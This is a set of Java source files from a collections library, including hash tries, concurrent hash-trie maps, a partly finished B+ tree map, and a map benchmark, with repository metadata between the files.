probes in the future, // remove a key 0 probes in the future, // Net result is the thread keeps 10 random keys in table String key1 = KEYS[(idx+reprobe*10) & (KEYS.length-1)]; _hash.put(key1,key1); put_ops++; // Remove a key 0 probes in the future String key2 = KEYS[(idx+reprobe* 0) & (KEYS.length-1)]; _hash.remove(key2); del_ops++; idx += reprobe; } // We stopped; report results into shared result structure return get_ops+put_ops+del_ops; } // public int run_normal( NonBlockingHashMap<String,String> hm ) { // SimpleRandom R = new SimpleRandom(); // // int get_ops = 0; // int put_ops = 0; // int del_ops = 0; // while( !_stop ) { // int x = R.nextInt()&((1<<20)-1); // String key = KEYS[R.nextInt()&(KEYS.length-1)]; // if( x < _gr ) { // get_ops++; // String val = hm.get(key); // if( val != null && !val.equals(key) ) throw new IllegalArgumentException("Mismatched key="+key+" and val="+val); // } else if( x < _pr ) { // put_ops++; // hm.putIfAbsent( key, key ); // } else { // del_ops++; // hm.remove( key ); // } // } // // We stopped; report results into shared result structure // return get_ops+put_ops+del_ops; // } public int run_normal( ConcurrentHashMap<String,String> hm ) { SimpleRandom R = new SimpleRandom(); int get_ops = 0; int put_ops = 0; int del_ops = 0; while( !_stop ) { int x = R.nextInt()&((1<<20)-1); String key = KEYS[R.nextInt()&(KEYS.length-1)]; if( x < _gr ) { get_ops++; String val = hm.get(key); if( val != null && !val.equals(key) ) throw new IllegalArgumentException("Mismatched key="+key+" and val="+val); } else if( x < _pr ) { put_ops++; hm.putIfAbsent( key, key ); } else { del_ops++; hm.remove( key ); } } // We stopped; report results into shared result structure return get_ops+put_ops+del_ops; } public int run_normal( ConcurrentMap<String,String> hm ) { SimpleRandom R = new SimpleRandom(); int get_ops = 0; int put_ops = 0; int del_ops = 0; while( !_stop ) { int x = R.nextInt()&((1<<20)-1); String key = KEYS[R.nextInt()&(KEYS.length-1)]; if( x < _gr ) { get_ops++; String val = hm.get(key); if( val != null && !val.equals(key) ) { throw new IllegalArgumentException("Mismatched key="+key+" and val="+val); } } else if( x < _pr ) { put_ops++; hm.putIfAbsent( key, key ); } else { del_ops++; hm.remove( key ); } } // We stopped; report results into shared result structure return get_ops+put_ops+del_ops; } // Fairly fast random numbers public static final class SimpleRandom { private final static long multiplier = 0x5DEECE66DL; private final static long addend = 0xBL; private final static long mask = (1L << 48) - 1; static final AtomicLong seq = new AtomicLong( -715159705); private long seed; SimpleRandom(long s) { seed = s; } SimpleRandom() { seed = System.nanoTime() + seq.getAndAdd(129); } public void setSeed(long s) { seed = s; } public int nextInt() { return next(); } public int next() { long nextseed = (seed * multiplier + addend) & mask; seed = nextseed; return ((int)(nextseed >>> 17)) & 0x7FFFFFFF; } } }
zzuoqiang-teremail
commons/src/test/java/perf_hash_test.java
Java
lgpl
15,118
package org.teresoft; public class Preconditions { public static void checkNotNull(Object o, String message) { if (o == null) { throw new NullPointerException(message); } } }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/Preconditions.java
Java
lgpl
214
package org.teresoft.math; public class Arithmetic { //------------------ Utility -------------------------- /** * Calculate the next power of 2, greater than or equal to x.<p> * From Hacker's Delight, Chapter 3, Harry S. Warren Jr. * * @param x Value to round up * @return The next power of 2 from x inclusive */ public static int ceilingPowerOf2(final int x) { return 1 << (32 - Integer.numberOfLeadingZeros(x - 1)); } }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/math/Arithmetic.java
Java
lgpl
481
package org.teresoft.collections; import static java.lang.Integer.bitCount; import static java.lang.System.arraycopy; import org.teresoft.Preconditions; @SuppressWarnings({"unchecked", "rawtypes"}) public class HashTrie<K, V> implements Map<K, V> { private static final HashTrie EMPTY = new HashTrie(null, 0); private final Node node; private final int size; private HashTrie(Node node, int size) { this.node = node; this.size = size; } public static <K, V> HashTrie<K, V> create() { return (HashTrie<K, V>) EMPTY; } @Override public V get(Object key) { Preconditions.checkNotNull(key, "'key' must not be null"); if (node == null) { return null; } return (V) node.get(hash(key.hashCode()), key); } @Override public HashTrie<K, V> put(K key, V value, Out<V> holder) { Preconditions.checkNotNull(key, "'key' must not be null"); Preconditions.checkNotNull(value, "'value' must not be null"); Preconditions.checkNotNull(holder, "'holder' must not be null"); Node newNode; int hash = hash(key.hashCode()); if (node != null) { newNode = node.put(0, hash, key, value, (Out<Object>) holder); } else { newNode = new LeafNode(hash, key, value); } int newSize = (holder.value == null) ? size + 1 : size; return new HashTrie<K, V>(newNode, newSize); } @Override public HashTrie<K, V> remove(K key, Out<V> holder) { Preconditions.checkNotNull(key, "'key' must not be null"); Preconditions.checkNotNull(holder, "'holder' must not be null"); if (node == null) { return this; } int hash = hash(key.hashCode()); Node newNode = node.remove(hash, key, (Out<Object>) holder); if (node == newNode) { return this; } return new HashTrie<K, V>(newNode, size - 1); } /** * Stolen from java.util.HashMap. * * @param h * @return */ static int hash(int h) { // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } interface Node { Object get(final int hashCode, Object key); Node put(final int level, final int hashCode, Object key, Object value, Out<Object> out); Node remove(final int hashCode, Object key, Out<Object> out); } static final class BitMappedNode implements Node { private final int level; private final Node[] table; private final int bitMap; private BitMappedNode(int level, Node[] table, int bitMap) { this.level = level; this.table = table; this.bitMap = bitMap; } @Override public Object get(final int hashCode, Object key) { int bitIndex = 1 << getPartialHash(hashCode, level); if ((bitIndex & bitMap) != 0) { int index = bitCount((bitIndex - 1) & bitMap); return table[index].get(hashCode, key); } return null; } @Override public BitMappedNode put(int level, final int hashCode, Object key, Object value, Out<Object> out) { int bitIndex = 1 << getPartialHash(hashCode, level); int index = bitCount((bitIndex -1) & bitMap); if ((bitIndex & bitMap) == 0) { LeafNode node = new LeafNode(hashCode, key, value); return new BitMappedNode(level, copyAndInsert(table, node, index), bitMap | bitIndex); } else { Node node = table[index].put(level + 1, hashCode, key, value, out); return new BitMappedNode(level, copyAndReplace(table, node, index), bitMap); } } @Override public Node remove(final int hashCode, Object key, Out<Object> out) { int bitIndex = 1 << getPartialHash(hashCode, level); if ((bitIndex & bitMap) != 0) { int index = bitCount((bitIndex - 1) & bitMap); Node child = table[index].remove(hashCode, key, out); if (out.value != null) { if (child == null) { if (table.length != 2) { return new BitMappedNode(level, copyAndRemove(table, index), bitMap ^ bitIndex); } else { return table[index ^ 1]; } } else { return new BitMappedNode(level, copyAndReplace(table, child, index), bitMap); } } } return this; } private static int getPartialHash(final int hashCode, int level) { int levelShift = level * 5; int mask = 0x1F << levelShift; return ((mask & hashCode) >>> levelShift); } private static BitMappedNode create(int level, int hashCodeA, Node nodeA, int hashCodeB, Node nodeB) { int partialHashA = getPartialHash(hashCodeA, level); int partialHashB = getPartialHash(hashCodeB, level); Node[] table; if (partialHashA < partialHashB) { table = new Node[] { nodeA, nodeB }; } else if (partialHashA > partialHashB) { table = new Node[] { nodeB, nodeA }; } else if (hashCodeA != hashCodeB) { Node node = create(level + 1, hashCodeA, nodeA, hashCodeB, nodeB); table = new Node[] { node }; } else { throw new UnsupportedOperationException(); } return new BitMappedNode(level, table, (1 << partialHashA) | (1 << partialHashB)); } } static final class LeafNode implements Node { private final int hashCode; private final Object key; private final Object value; public LeafNode(final int hashCode, Object key, Object value) { this.hashCode = hashCode; this.key = key; this.value = value; } @Override public Object get(final int hashCode, Object key) { if (keyMatches(hashCode, key)) { return value; } return null; } @Override public Node put(int level, final int hashCode, Object key, Object value, Out<Object> out) { Node node = new LeafNode(hashCode, key, value); if (this.hashCode == hashCode) { if (this.key == key || this.key.equals(key)) { out.value = this.value; return node; } else { return ListNode.create(this, node); } } else { return BitMappedNode.create(level, this.hashCode, this, hashCode, node); } } @Override public Node remove(final int hashCode, Object key, Out<Object> out) { if (keyMatches(hashCode, key)) { out.value = this.value; return null; } else { return this; } } private boolean keyMatches(final int hashCode, Object key) { return this.hashCode == hashCode && (this.key == key || this.key.equals(key)); } } static final class ListNode implements Node { private final Node[] table; public ListNode(Node[] table) { this.table = table; } @Override public Object get(final int hashCode, Object key) { for (int i = 0, n = table.length; i < n; i++) { Object value = table[i].get(hashCode, key); if (value != null) { return value; } } return null; } @Override public ListNode put(int level, final int hashCode, Object key, Object value, Out<Object> out) { int index = find(hashCode, key, out); if (out.value == null) { return new ListNode(copyAndInsert(table, new LeafNode(hashCode, key, value), table.length)); } else { return new ListNode(copyAndReplace(table, new LeafNode(hashCode, key, value), index)); } } @Override public Node remove(final int hashCode, Object key, Out<Object> out) { int index = find(hashCode, key, out); if (out.value != null) { if (table.length != 2) { return new ListNode(copyAndRemove(table, index)); } else { return table[index ^ 1]; } } return this; } private int find(final int hashCode, Object key, Out<Object> out) { for (int i = 0, n = table.length; i < n; i++) { Object existingValue = table[i].get(hashCode, key); if (existingValue != null) { out.value = existingValue; return i; } } return 0; } public static ListNode create(Node nodeA, Node nodeB) { return new ListNode(new Node[] { nodeA, nodeB }); } } // ----------------- Utility Methods ------------------- public static Node[] copyAndRemove(Node[] nodes, int index) { int len = nodes.length - 1; Node[] newNodes = new Node[len]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index + 1, newNodes, index, len - index); return newNodes; } public static Node[] copyAndReplace(Node[] nodes, Node node, int index) { int len = nodes.length; Node[] newNodes = new Node[len]; System.arraycopy(nodes, 0, newNodes, 0, len); newNodes[index] = node; return newNodes; } public static Node[] copyAndInsert(Node[] nodes, Node node, int index) { int len = nodes.length; Node[] newNodes = (Node[]) new Node[len + 1]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index, newNodes, index + 1, len - index); newNodes[index] = node; return newNodes; } }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/collections/HashTrie.java
Java
lgpl
10,961
package org.teresoft.collections; import static java.lang.System.arraycopy; import static java.util.Arrays.binarySearch; import java.util.Collection; import java.util.Map; import java.util.Set; public class LongBPlusTreeMap<T> implements Map<Long, T> { private final int nodeSize; private final Out<Object> out = new Out<Object>(); private Node root; private int size; public LongBPlusTreeMap(int nodeSize) { this.nodeSize = nodeSize; root = new LeafNode(nodeSize); } @Override @SuppressWarnings("unchecked") public T get(Object key) { return (T) root.get((Long) key); } @SuppressWarnings("unchecked") public T get(long key) { return (T) root.get((Long) key); } @Override @SuppressWarnings("unchecked") public T put(Long key, T value) { Node right = root.put(nodeSize, value, out); if (right != null) { root = new BranchNode(nodeSize, root, right); } if (out.value == null) { size++; } return (T) out.value; } @Override public T remove(Object key) { // TODO Auto-generated method stub return null; } @Override public void clear() { // TODO Auto-generated method stub } @Override public int size() { return size; } @Override public boolean isEmpty() { return size == 0; } @Override public boolean containsKey(Object key) { return get(key) != null; } @Override public boolean containsValue(Object value) { // TODO Auto-generated method stub return false; } @Override public Set<java.util.Map.Entry<Long, T>> entrySet() { // TODO Auto-generated method stub return null; } @Override public Set<Long> keySet() { // TODO Auto-generated method stub return null; } @Override public void putAll(Map<? extends Long, ? extends T> m) { // TODO Auto-generated method stub } @Override public Collection<T> values() { // TODO Auto-generated method stub return null; } static abstract class Node { protected int size; protected long[] keys; protected Object[] values; public Node(int size, long[] keys, Object[] values) { this.keys = keys; this.values = values; this.size = size; } public abstract Object get(long key); public abstract Node put(long key, Object value, Out<Object> result); public abstract int remove(long key, Out<Object> result); public abstract long getLowestKey(); public int size() { return size; } public void compact(int removed) { arraycopy(keys, removed + 1, keys, removed, size - removed); arraycopy(values, removed + 1, values, removed, size - removed); values[size] = null; } protected final Node split(int index, long key, Object value) { int capacity = keys.length; int half = capacity / 2; // Create new node from back half of existing long[] newKeys = new long[capacity]; Object[] newValues = new Object[capacity]; arraycopy(keys, half, newKeys, 0, half); arraycopy(values, half, newValues, 0, half); LeafNode newNode = new LeafNode(half, newKeys, newValues); // Clear back half of this node size = half; for (int i = half; i < capacity; i++) { values[i] = null; } // Insert the new value into the appropriate node if (index < half) { insert(index, key, value); } else { // TODO: This could be optimised to avoid a 2nd array copy. newNode.insert(index - half, key, value); } return newNode; } protected final void insert(int index, long key, Object value) { arraycopy(keys, index, keys, index + 1, size - index); arraycopy(values, index, values, index + 1, size - index); set(index, key, value); size++; } protected final Object set(int index, long key, Object value) { Object oldValue = values[index]; values[index] = value; keys[index] = key; return oldValue; } } static class BranchNode extends Node { public BranchNode(int capacity, Node left, Node right) { super(0, new long[capacity], new Node[capacity]); set(0, left.getLowestKey(), left); set(1, right.getLowestKey(), right); } @Override public Object get(long key) { int index = find(key); return ((Node) values[index]).get(key); } private int find(long key) { int index = binarySearch(keys, 0, size, key); if (index < 0) { index = -index - 2; } return index; } public long getLowestKey() { return ((Node) values[0]).getLowestKey(); } @Override public Node put(long key, Object value, Out<Object> result) { int index = find(key); Node node = (Node) values[index]; Node right = node.put(key, value, result); // If the child node was split if (right != null) { long leftKey = node.getLowestKey(); long rightKey = right.getLowestKey(); set(index, leftKey, node); if (size < keys.length) { insert(index + 1, rightKey, right); right = null; } else { right = split(index + 1, rightKey, right); } } return right; } public int remove(long key, Out<Object> result) { int index = find(key); Node child = (Node) values[index]; int removed = child.remove(key, result); if (removed >= 0) { int half = keys.length / 2; if (child.size() < half) { // rebalance } else { child.compact(removed); } } return -1; } } static class LeafNode extends Node { public LeafNode(int size, long[] keys, Object[] values) { super(size, keys, values); } public LeafNode(int capacity) { this(0, new long[capacity], new Object[capacity]); } public Object get(long key) { int index = find(key); if (index < 0) { return null; } else { return values[index]; } } public Node put(long key, Object value, Out<Object> result) { int index = find(key); Node right = null; if (index < 0) { index = -index - 1; if (size < keys.length) { insert(index, key, value); } else { right = split(index, key, value); } } else { result.value = set(index, key, value); } return right; } public int remove(long key, Out<Object> result) { int index = find(key); if (index >= 0) { result.value = set(index, key, null); size--; } return index; } public long getLowestKey() { return keys[0]; } private int find(long key) { return binarySearch(keys, 0, size, key); } } }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/collections/LongBPlusTreeMap.java
Java
lgpl
8,354
package org.teresoft.collections.concurrent; import static java.lang.Integer.bitCount; import static java.lang.System.arraycopy; import static org.teresoft.math.Arithmetic.ceilingPowerOf2; import java.util.AbstractCollection; import java.util.AbstractSet; import java.util.Collection; import java.util.Iterator; import java.util.Map; import java.util.NoSuchElementException; import java.util.Set; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.atomic.AtomicReferenceArray; import org.teresoft.Preconditions; import org.teresoft.collections.Out; @SuppressWarnings({"unchecked", "rawtypes"}) public class ConcurrentHashTrie<K, V> implements ConcurrentMap<K, V> { private final static Out<Object> NULL_OUT = new Out<Object>(); private final AtomicReferenceArray<Node> rootTable; private final int rootTableMask; public ConcurrentHashTrie(int size) { int rootTableSize = ceilingPowerOf2(size); rootTable = new AtomicReferenceArray<Node>(rootTableSize); rootTableMask = rootTableSize - 1; } @Override public V putIfAbsent(K key, V value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "value must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { Object result = existing.get(hashCode, key); if (result != null) { return (V) result; } update = existing.put(0, hashCode, key, value, NULL_OUT); } else { update = new LeafNode(hashCode, key, value); } } while (!rootTable.compareAndSet(rootHash, existing, update)); return null; } @Override public boolean remove(Object key, Object value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "value must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { Object oldValue = existing.get(hashCode, key); if (value == oldValue || value.equals(oldValue)) { update = existing.remove(hashCode, key, NULL_OUT); } else { return false; } } else { return false; } } while (!rootTable.compareAndSet(rootHash, existing, update)); return true; } @Override public V replace(K key, V value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "value must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; Object oldValue = null; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { oldValue = existing.get(hashCode, key); if (null != oldValue) { update = existing.put(0, hashCode, key, value, NULL_OUT); } else { return null; } } else { return null; } } while (!rootTable.compareAndSet(rootHash, existing, update)); return (V) oldValue; } @Override public boolean replace(K key, V oldValue, V newValue) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(oldValue, "oldValue must not be null"); Preconditions.checkNotNull(newValue, "newValue must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { Object existingValue = existing.get(hashCode, key); if (existingValue == oldValue || existingValue.equals(oldValue)) { update = existing.put(0, hashCode, key, newValue, NULL_OUT); } else { return false; } } else { return false; } } while (!rootTable.compareAndSet(rootHash, existing, update)); return true; } @Override public void clear() { for (int i = 0, n = rootTable.length(); i < n; i++) { rootTable.set(i, null); } } @Override public boolean containsKey(Object key) { return get(key) != null; } @Override public boolean containsValue(Object value) { Preconditions.checkNotNull(value, "value must not be null"); return values().contains(value); } @Override public V get(Object key) { Preconditions.checkNotNull(key, "key must not be null"); final int hashCode = hash(key.hashCode()); Node node = rootTable.get(rootHash(hashCode)); return (node != null) ? (V) node.get(hashCode, key) : null; } @Override public boolean isEmpty() { return 0 == size(); } @Override public V put(K key, V value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "key must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node node = rootTable.get(rootHash); V result = null; if (node != null) { Out<Object> out = new Out<Object>(); rootTable.set(rootHash, node.put(0, hashCode, key, value, out)); result = (V) out.value; } else { rootTable.set(rootHash, new LeafNode(hashCode, key, value)); } return result; } @Override public void putAll(Map<? extends K, ? extends V> m) { for (Map.Entry<? extends K, ? extends V> entry : m.entrySet()) { put(entry.getKey(), entry.getValue()); } } @Override public V remove(Object key) { final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node node = rootTable.get(rootHash); if (node != null) { Out<Object> out = new Out<Object>(); rootTable.set(rootHash, node.remove(hashCode, key, out)); return (V) out.value; } return null; } @Override public int size() { int size = 0; for (int i = 0, n = rootTable.length(); i < n; i++) { Node node = rootTable.get(i); if (node != null) { size += node.size(); } } return size; } private final int rootHash(final int hashCode) { return hashCode & rootTableMask; } /** * Stolen from java.util.HashMap. * * @param h * @return */ static int hash(int h) { // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } // ------------------ Trie Nodes ---------------------------- interface Node extends Iterable { int getHashCode(); Object get(final int hashCode, Object key); Node put(final int level, final int hashCode, Object key, Object value, Out<Object> out); Node remove(final int hashCode, Object key, Out<Object> out); int size(); } static final class BitMappedNode implements Node { private final int level; private final Node[] table; private final int bitMap; private final int size; private BitMappedNode(int level, Node[] table, int bitMap, int size) { this.level = level; this.table = table; this.bitMap = bitMap; this.size = size; } @Override public Object get(final int hashCode, Object key) { int bitIndex = 1 << getPartialHash(hashCode, level); if ((bitIndex & bitMap) != 0) { int index = bitCount((bitIndex - 1) & bitMap); return table[index].get(hashCode, key); } return null; } @Override public BitMappedNode put(int level, final int hashCode, Object key, Object value, Out<Object> out) { int bitIndex = 1 << getPartialHash(hashCode, level); int index = bitCount((bitIndex -1) & bitMap); if ((bitIndex & bitMap) == 0) { LeafNode node = new LeafNode(hashCode, key, value); return new BitMappedNode(level, copyAndInsert(table, node, index), bitMap | bitIndex, this.size + 1); } else { Node node = table[index].put(level + 1, hashCode, key, value, out); int size = (out.value == null) ? this.size + 1 : this.size; return new BitMappedNode(level, copyAndReplace(table, node, index), bitMap, size); } } @Override public Node remove(final int hashCode, Object key, Out<Object> out) { int bitIndex = 1 << getPartialHash(hashCode, level); if ((bitIndex & bitMap) != 0) { int index = bitCount((bitIndex - 1) & bitMap); Node child = table[index].remove(hashCode, key, out); if (out.value != null) { if (child == null) { if (table.length != 2) { return new BitMappedNode(level, copyAndRemove(table, index), bitMap ^ bitIndex, size - 1); } else { return table[index ^ 1]; } } else { return new BitMappedNode(level, copyAndReplace(table, child, index), bitMap, size - 1); } } } return this; } @Override public int size() { return size; } private static int getPartialHash(final int hashCode, int level) { int levelShift = level * 5; int mask = 0x1F << levelShift; return ((mask & hashCode) >>> levelShift); } public static BitMappedNode create(final int hashCode1, Object key1, Object value1, final int hashCode2, Object key2, Object value2) { return BitMappedNode.create(0, new LeafNode(hashCode1, key1, value1), new LeafNode(hashCode2, key2, value2)); } @Override public int getHashCode() { return table[0].getHashCode(); } private static BitMappedNode create(int level, Node nodeA, Node nodeB) { int partialHashA = getPartialHash(nodeA.getHashCode(), level); int partialHashB = getPartialHash(nodeB.getHashCode(), level); Node[] table; if (partialHashA < partialHashB) { table = new Node[] { nodeA, nodeB }; } else if (partialHashA > partialHashB) { table = new Node[] { nodeB, nodeA }; } else if (nodeA.hashCode() != nodeB.hashCode()) { Node node = create(level + 1, nodeA, nodeB); table = new Node[] { node }; } else { throw new UnsupportedOperationException(); } return new BitMappedNode(level, table, (1 << partialHashA) | (1 << partialHashB), nodeA.size() + nodeB.size()); } @Override public Iterator iterator() { return new TableIterator(table); } } static final class LeafNode implements Node, Iterable, Map.Entry { private final int hashCode; private final Object key; private final Object value; public LeafNode(final int hashCode, Object key, Object value) { this.hashCode = hashCode; this.key = key; this.value = value; } @Override public Object get(final int hashCode, Object key) { if (keyMatches(hashCode, key)) { return value; } return null; } @Override public Node put(int level, final int hashCode, Object key, Object value, Out<Object> out) { Node node = new LeafNode(hashCode, key, value); if (this.hashCode == hashCode) { if (this.key == key || this.key.equals(key)) { out.value = this.value; return node; } else { return ListNode.create(this, node); } } else { return BitMappedNode.create(level, this, node); } } @Override public Node remove(final int hashCode, Object key, Out<Object> out) { if (keyMatches(hashCode, key)) { out.value = this.value; return null; } else { return this; } } private boolean keyMatches(final int hashCode, Object key) { return this.hashCode == hashCode && (this.key == key || this.key.equals(key)); } @Override public Object getKey() { return key; } @Override public Object getValue() { return value; } @Override public int getHashCode() { return hashCode; } @Override public int size() { return 1; } @Override public Iterator<Map.Entry> iterator() { return new Iterator<Map.Entry>() { boolean hasNext = true; @Override public Map.Entry next() { if (hasNext) { hasNext = false; return LeafNode.this; } else { throw new NoSuchElementException(); } } @Override public boolean hasNext() { return hasNext; } @Override public void remove() { throw new UnsupportedOperationException(); } }; } @Override public Object setValue(Object value) { throw new UnsupportedOperationException(); } } static final class ListNode implements Node { private final Node[] table; public ListNode(Node[] table) { this.table = table; } @Override public Object get(final int hashCode, Object key) { for (int i = 0, n = table.length; i < n; i++) { Object value = table[i].get(hashCode, key); if (value != null) { return value; } } return null; } @Override public ListNode put(int level, final int hashCode, Object key, Object value, Out<Object> out) { int index = find(hashCode, key, out); if (out.value == null) { return new ListNode(copyAndInsert(table, new LeafNode(hashCode, key, value), table.length)); } else { return new ListNode(copyAndReplace(table, new LeafNode(hashCode, key, value), index)); } } @Override public Node remove(final int hashCode, Object key, Out<Object> out) { int index = find(hashCode, key, out); if (out.value != null) { if (table.length != 2) { return new ListNode(copyAndRemove(table, index)); } else { return table[index ^ 1]; } } return this; } @Override public int getHashCode() { return table[0].getHashCode(); } @Override public int size() { return table.length; } @Override public Iterator iterator() { return new TableIterator(table); } private int find(final int hashCode, Object key, Out<Object> out) { for (int i = 0, n = table.length; i < n; i++) { Object existingValue = table[i].get(hashCode, key); if (existingValue != null) { out.value = existingValue; return i; } } return 0; } public static ListNode create(Node nodeA, Node nodeB) { return new ListNode(new Node[] { nodeA, nodeB }); } } // -------------- Iterators ----------------------- @Override public Set<java.util.Map.Entry<K, V>> entrySet() { return new AbstractSet<Entry<K,V>>() { @Override public Iterator<java.util.Map.Entry<K, V>> iterator() { return new RootTableIterator(); } @Override public int size() { return ConcurrentHashTrie.this.size(); } }; } @Override public Collection<V> values() { return new AbstractCollection<V>() { @Override public Iterator<V> iterator() { return new Iterator<V>() { private final RootTableIterator rootTableIterator = new RootTableIterator(); @Override public boolean hasNext() { return rootTableIterator.hasNext(); } @Override public V next() { return rootTableIterator.next().getValue(); } @Override public void remove() { rootTableIterator.remove(); } }; } @Override public int size() { return ConcurrentHashTrie.this.size(); } }; } @Override public Set<K> keySet() { return new AbstractSet<K>() { @Override public Iterator<K> iterator() { return new Iterator<K>() { private final RootTableIterator rootTableIterator = new RootTableIterator(); @Override public boolean hasNext() { return rootTableIterator.hasNext(); } @Override public K next() { return rootTableIterator.next().getKey(); } @Override public void remove() { rootTableIterator.remove(); } }; } @Override public int size() { return ConcurrentHashTrie.this.size(); } }; } private final class RootTableIterator implements Iterator<Entry<K, V>> { private int pointer = 0; private Iterator<Map.Entry> child = null; @Override public boolean hasNext() { while ((child == null || !child.hasNext()) && pointer < rootTable.length()) { Node node = rootTable.get(pointer++); if (node != null) { child = node.iterator(); } } return child != null ? child.hasNext() : false; } @Override public java.util.Map.Entry<K, V> next() { if (!hasNext()) { throw new NoSuchElementException(); } return child.next(); } @Override public void remove() { throw new UnsupportedOperationException(); } } private static final class TableIterator implements Iterator<Map.Entry> { private final Node[] table; private int pointer = -1; private Iterator<Map.Entry> child = null; public TableIterator(Node[] table) { this.table = table; } @Override public boolean hasNext() { if (pointer >= table.length) { return false; } if (child == null) { child = table[++pointer].iterator(); } return child.hasNext(); } @Override public Map.Entry next() { if (pointer >= table.length) { throw new NoSuchElementException(); } if (child == null) { child = table[++pointer].iterator(); } Map.Entry result = child.next(); if (!child.hasNext()) { child = null; } return result; } @Override public void remove() { throw new UnsupportedOperationException(); } } // -------------- Utility Methods ---------------------- public static Node[] copyAndRemove(Node[] nodes, int index) { int len = nodes.length - 1; Node[] newNodes = new Node[len]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index + 1, newNodes, index, len - index); return newNodes; } public static Node[] copyAndReplace(Node[] nodes, Node node, int index) { int len = nodes.length; Node[] newNodes = new Node[len]; System.arraycopy(nodes, 0, newNodes, 0, len); newNodes[index] = node; return newNodes; } public static Node[] copyAndInsert(Node[] nodes, Node node, int index) { int len = nodes.length; Node[] newNodes = (Node[]) new Node[len + 1]; arraycopy(nodes, 0, newNodes, 0, index); arraycopy(nodes, index, newNodes, index + 1, len - index); newNodes[index] = node; return newNodes; } }
zzuoqiang-teremail
commons/src/main/java/org/teresoft/collections/concurrent/ConcurrentHashTrie.java
Java
lgpl
23,448
package org.teresoft.collections.concurrent; import static java.lang.Integer.bitCount; import static java.lang.System.arraycopy; import static org.teresoft.math.Arithmetic.ceilingPowerOf2; import java.util.AbstractCollection; import java.util.AbstractSet; import java.util.Collection; import java.util.Iterator; import java.util.Map; import java.util.NoSuchElementException; import java.util.Set; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.atomic.AtomicReferenceArray; import org.teresoft.Preconditions; import org.teresoft.collections.Out; @SuppressWarnings({"unchecked", "rawtypes"}) public class ConcurrentHashTrie2<K, V> implements ConcurrentMap<K, V> { private final static Out<Object> NULL_OUT = new Out<Object>(); private final AtomicReferenceArray<Node> rootTable; private final int rootTableMask; public ConcurrentHashTrie2(int size) { int rootTableSize = ceilingPowerOf2(size); rootTable = new AtomicReferenceArray<Node>(rootTableSize); rootTableMask = rootTableSize - 1; } @Override public V putIfAbsent(K key, V value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "value must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { Object result = existing.get(hashCode, key); if (result != null) { return (V) result; } update = existing.put(0, hashCode, key, value, NULL_OUT); } else { update = Node.newLeafNode(hashCode, key, value); } } while (!rootTable.compareAndSet(rootHash, existing, update)); return null; } @Override public boolean remove(Object key, Object value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "value must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { Object oldValue = existing.get(hashCode, key); if (value == oldValue || value.equals(oldValue)) { update = existing.remove(hashCode, key, NULL_OUT); } else { return false; } } else { return false; } } while (!rootTable.compareAndSet(rootHash, existing, update)); return true; } @Override public V replace(K key, V value) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(value, "value must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; Object oldValue = null; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { oldValue = existing.get(hashCode, key); if (null != oldValue) { update = existing.put(0, hashCode, key, value, NULL_OUT); } else { return null; } } else { return null; } } while (!rootTable.compareAndSet(rootHash, existing, update)); return (V) oldValue; } @Override public boolean replace(K key, V oldValue, V newValue) { Preconditions.checkNotNull(key, "key must not be null"); Preconditions.checkNotNull(oldValue, "oldValue must not be null"); Preconditions.checkNotNull(newValue, "newValue must not be null"); final int hashCode = hash(key.hashCode()); final int rootHash = rootHash(hashCode); Node existing; Node update; do { existing = rootTable.get(rootHash); // Snapshot the current node. if (existing != null) { Object existingValue = existing.get(hashCode, key); if (existingValue == oldValue || existingValue.equals(oldValue)) { update = existing.put(0, hashCode, key, newValue, NULL_OUT); } else { return false; } } else { return false; } } while (!rootTable.compareAndSet(rootHash, existing, update)); return true; } @Override public void clear() { for (int i = 0, n = rootTable.length(); i < n; i++) { rootTable.set(i, null); } } @Override public boolean containsKey(Object key) { return get(key) != null; } @Override public boolean containsValue(Object value) { Preconditions.checkNotNull(value, "value must not be null"); return values().contains(value); } @Override public V get(Object key) { 